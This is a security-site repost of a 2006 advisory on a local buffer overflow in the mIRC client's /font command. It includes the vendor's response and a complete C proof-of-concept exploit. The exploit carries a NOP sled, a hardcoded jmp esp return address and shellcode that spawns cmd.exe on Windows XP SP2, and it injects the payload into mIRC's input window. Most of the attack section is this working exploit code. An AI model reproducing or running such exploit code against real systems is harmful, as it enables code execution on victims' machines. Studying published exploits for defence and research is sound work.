首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
mIRC Font Buffer Overflow
来源:crowdat@gmail.com 作者:Crowdat 发布时间:2006-02-06  

mIRC Font Buffer Overflow (Exploit)

Summary
"mIRC is a friendly IRC client that is well equipped with options and tools." Lack of proper length validation in mIRC that leads to a local buffer overflow allows attackers to execute arbitrary code.

Credit:
The information has been provided by Crowdat Kurobudetsu.
The original article in Spanish can be found at: http://cyruxnet.org/archivo.php?20060121.00
The forum discussion can be found at: http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129

Details
A local buffer overflow with the /font command in mIRC was found.
By using the command:

/font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa) $readini(c:\a\a.ini,aaaaaaa ,aaaa)

The function will return null and crash. If the first parameter is null and the second parameter is a long string, it is possible to overwrite the EIP and execute arbitrary code without privileges elevation.

Vendor Status:
"As far as I can tell, this is neither an exploit nor a vulnerability. The above report describes a local bug in mIRC. The author of the report indicates that any malicious software on your computer can modify your mIRC settings to cause mIRC to crash. But if you have malicious software on your computer, you've already compromised your security..."

Exploit:
/*
mircfontexploitXPSP2.c

This PoC it's for XP SP2 English
Special thanks to Racy from irc-hispano
*/


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main () {
HWND lHandle;
char command[512]= "/font -z $null";
char strClass[30];
char buffer[128]=
"\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char shellcode[999]=
"\x55"
"\x8B\xEC"
"\x33\xFF"
"\x57"
"\x83\xEC\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D"
"\xC6\x45\xFA\x64"
"\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\x8D\x45\xF8"
"\x50"
"\xBB\xc7\x93\xc2\x77"
"\xFF\xD3";

//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp2 English)

char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 (advapi32.dll)

SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit", 0);

if (!lHandle) { printf("Can't find mIRC\n"); return 0; }

strcat(buffer,saltaoffset);
strcat(buffer,shellcode);
strcat(command,buffer);
printf("mIRC Font Command Exploit: %s\n", command);

SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}

/* Eof */



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·imap4d Buffer Overflow
·Cisco Aironet Wireless Access
·SquirrelMail Change Passwd Plu
·Oracle Database Server 9i or 1
·Eterm LibAST Configuration Eng
·SHOUTcast <= 1.9.4 HTTP GET
·eyeBeam handling SIP header DO
·Nullsoft Winamp Player <= 5
·SimpleBlog version 2.1 is susc
·Nullsoft Winamp Player PLS Fil
·VERITAS NetBackup Volume Manag
·wzdftpd <= 0.5.4 SITE Comma
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved